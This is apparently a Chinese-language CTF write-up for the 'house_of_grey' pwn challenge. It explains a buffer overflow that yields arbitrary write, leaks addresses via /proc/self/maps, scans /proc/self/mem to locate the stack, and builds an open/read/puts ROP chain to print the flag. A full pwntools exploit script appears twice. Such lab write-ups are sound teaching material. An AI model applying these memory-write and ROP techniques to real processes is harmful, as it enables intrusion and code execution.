house_of_grey
首先,检查一下程序的保护机制,发现保护全开
然后,我们用IDA分析一下
发现是一个读取文件并显示的程序,除了flag文件,其他文件都可以读取
程序有个缓冲区溢出漏洞
可以溢出,修改v8指针,然后我们就可以利用功能4,实现任意地址写
由于可以读取除了flag之外的文件,那么我们可以读取/proc/self/maps文件
Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
同样的,我们也可以通过写入mem文件来直接写入内存,例如直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell。
那么,我们先来测试一下
我们得到了各个段的地址,由此,我们可以绕过PIE,以及利用/proc/self/mem来读取任意地址的内容。
为了确定本程序能否getshell,我们检测一下execve系统调用有没有被禁用
发现execve被禁用,那么我们就不能用system这些来getshell,我们可以构造ROP,把flag文件读取到内存中,再输出来。
然后,我们再看看程序
程序最后有一个exit(0),由此,覆盖fn函数的返回地址来构造ROP不可行,我们可以覆盖read函数的返回地址,也就是调用read任意写时,把自己的返回地址给覆盖了,这样ROP写入后就直接开始执行了。为了覆盖read的返回地址,我们就需要确定栈的地址。
但是,由于程序是clone出来的,第三个参数指定了clone出的进程的栈地址,程序一开始用mmap映射了一段内存,然后取了其中的一个随机的位置传给了clone,由此,我们不知道程序的栈地址。但是,我们可以通过读取/proc/self/mem文件,来搜索标记,已确定程序的栈地址。
而标记就是”/proc/self/maps”字符串,因为buf里保存了这个字符串,当我们在内存中搜索到这个字符串时,当前位置就是buf的栈地址,由此,我们就可以计算出其他的栈地址。
那么,我们先来获取一些需要的地址信息
- enterRoom()
- setPath('/proc/self/maps')
- readSomething(2000)
- sh.recvuntil('You get something:\n')
- #解析程序的加载地址,以及mmap内存出的地址
- elf_base = int(sh.recvuntil('-').split('-')[0],16)
- pop_rdi = elf_base + pop_s_rdi
- pop_rsi = elf_base + pop_s_rsi
- open_addr = elf_base + open_s_plt
- read_addr = elf_base + read_s_plt
- puts_addr = elf_base + puts_s_plt
- while True:
- line = sh.recvline()
- if 'heap' in line:
- #接下来这一行就是mmap出的内存的信息
- line = sh.recvline()
- mmap_start = int(line.split('-')[0],16)
- mmap_end = int(line.split('-')[1].split(' ')[0],16)
- break
接下来,我们就需要读取/proc/self/mem来搜索内存,确定栈地址了
程序只能执行30次功能调用,之前已经用了4次,最后我们还需要用2次,那么我们搜索就最多24次,
而我们每次最多允许读取100000个字节的数据,由此,我们能搜索2400000个字节的内容,通过IDA调试,观察buf的栈地址,计算它与mmap_end的值的差值,做一个大致的范围,由于栈是从高往低增长的,因此,我们应该从mmap_end – x ~ mmap_end搜索,其中x是一个范围。
那么,我们就开始搜索吧
- #现在解析出clone的那个程序的stack地址
- stack_end = mmap_end
- stack_start = mmap_start
- #范围偏差
- offset = 0xf800000
- #区间范围begin_off~stack_end里搜索
- begin_off = stack_end - offset - 24 * 100000
- setPath('/proc/self/mem')
- seekTo(begin_off)
- print 'begin->',hex(begin_off),'to',hex(stack_end)
- #在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址
- for i in range(0,24):
- readSomething(100000)
- content = sh.recvuntil('1.Find ')[:-7]
- if '/proc/self/mem' in content:
- print 'found!'
- arr = content.split('/proc/self/mem')[0]
- break
- if i == 23:
- print '未能成功确定v8的地址,请重试!'
- exit(0)
- #获得了v8的地址,可以将它里面的内容,实现任意地址写
- v8_addr = begin_off + i * 100000 + len(arr) + 5
- print 'v8 addr=',hex(v8_addr)
- read_ret = v8_addr - 0x50
现在,得到了存放read的返回地址的栈地址,我们就可以写ROP了
- #覆盖v8指针内容为存放read返回地址的栈地址
- payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)
- setPath(payload)
- #接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)
- rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)
- #我们打开的文件,描述符为6
- rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)
- rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)
- rop += '/home/ctf/flag\x00'
- giveSomething(rop)
然后,我们就得到了flag
综上,我们的exp脚本如下
- #coding:utf8
- from pwn import *
- sh = process('./pwnh35')
- #sh = remote('111.198.29.45',37518)
- elf = ELF('./pwnh35')
- libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
- open_s_plt = elf.plt['open']
- read_s_plt = elf.plt['read']
- puts_s_plt = elf.plt['puts']
- #pop rdi
- #pop r15
- #retn
- pop_s_rsi = 0x1821
- #pop rdi
- #retn
- pop_s_rdi = 0x1823
- def enterRoom():
- sh.sendlineafter('Do you want to help me build my room? Y/n?\n','Y')
- def setPath(content):
- sh.sendlineafter('5.Exit\n','1')
- sh.sendlineafter('So man, what are you finding?\n',content)
- def seekTo(pos):
- sh.sendlineafter('5.Exit\n','2')
- sh.sendlineafter('So, Where are you?\n',str(pos))
- def readSomething(length):
- sh.sendlineafter('5.Exit\n','3')
- sh.sendlineafter('How many things do you want to get?\n',str(length))
- def giveSomething(content):
- sh.sendlineafter('5.Exit\n','4')
- sh.sendlineafter('content:',content)
- enterRoom()
- setPath('/proc/self/maps')
- readSomething(2000)
- sh.recvuntil('You get something:\n')
- #解析程序的加载地址,以及mmap内存出的地址
- elf_base = int(sh.recvuntil('-').split('-')[0],16)
- pop_rdi = elf_base + pop_s_rdi
- pop_rsi = elf_base + pop_s_rsi
- open_addr = elf_base + open_s_plt
- read_addr = elf_base + read_s_plt
- puts_addr = elf_base + puts_s_plt
- while True:
- line = sh.recvline()
- if 'heap' in line:
- #接下来这一行就是mmap出的内存的信息
- line = sh.recvline()
- mmap_start = int(line.split('-')[0],16)
- mmap_end = int(line.split('-')[1].split(' ')[0],16)
- break
- #现在解析出clone的那个程序的stack地址
- stack_end = mmap_end
- stack_start = mmap_start
- #范围偏差
- offset = 0xf800000
- #区间范围begin_off~stack_end里搜索
- begin_off = stack_end - offset - 24 * 100000
- setPath('/proc/self/mem')
- seekTo(begin_off)
- print 'begin->',hex(begin_off),'to',hex(stack_end)
- #在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址
- for i in range(0,24):
- readSomething(100000)
- content = sh.recvuntil('1.Find ')[:-7]
- if '/proc/self/mem' in content:
- print 'found!'
- arr = content.split('/proc/self/mem')[0]
- break
- if i == 23:
- print '未能成功确定v8的地址,请重试!'
- exit(0)
- #获得了v8的地址,可以将它里面的内容,实现任意地址写
- v8_addr = begin_off + i * 100000 + len(arr) + 5
- print 'v8 addr=',hex(v8_addr)
- read_ret = v8_addr - 0x50
- #覆盖v8指针内容为存放read返回地址的栈地址
- payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)
- setPath(payload)
- #接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)
- rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)
- #我们打开的文件,描述符为6
- rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)
- rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)
- rop += '/home/ctf/flag\x00'
- giveSomething(rop)
- sh.interactive()
本题,我对maps和mem文件有了进一步的了解,其中maps文件里有程序的加载地址信息,mem是程序的内存映射。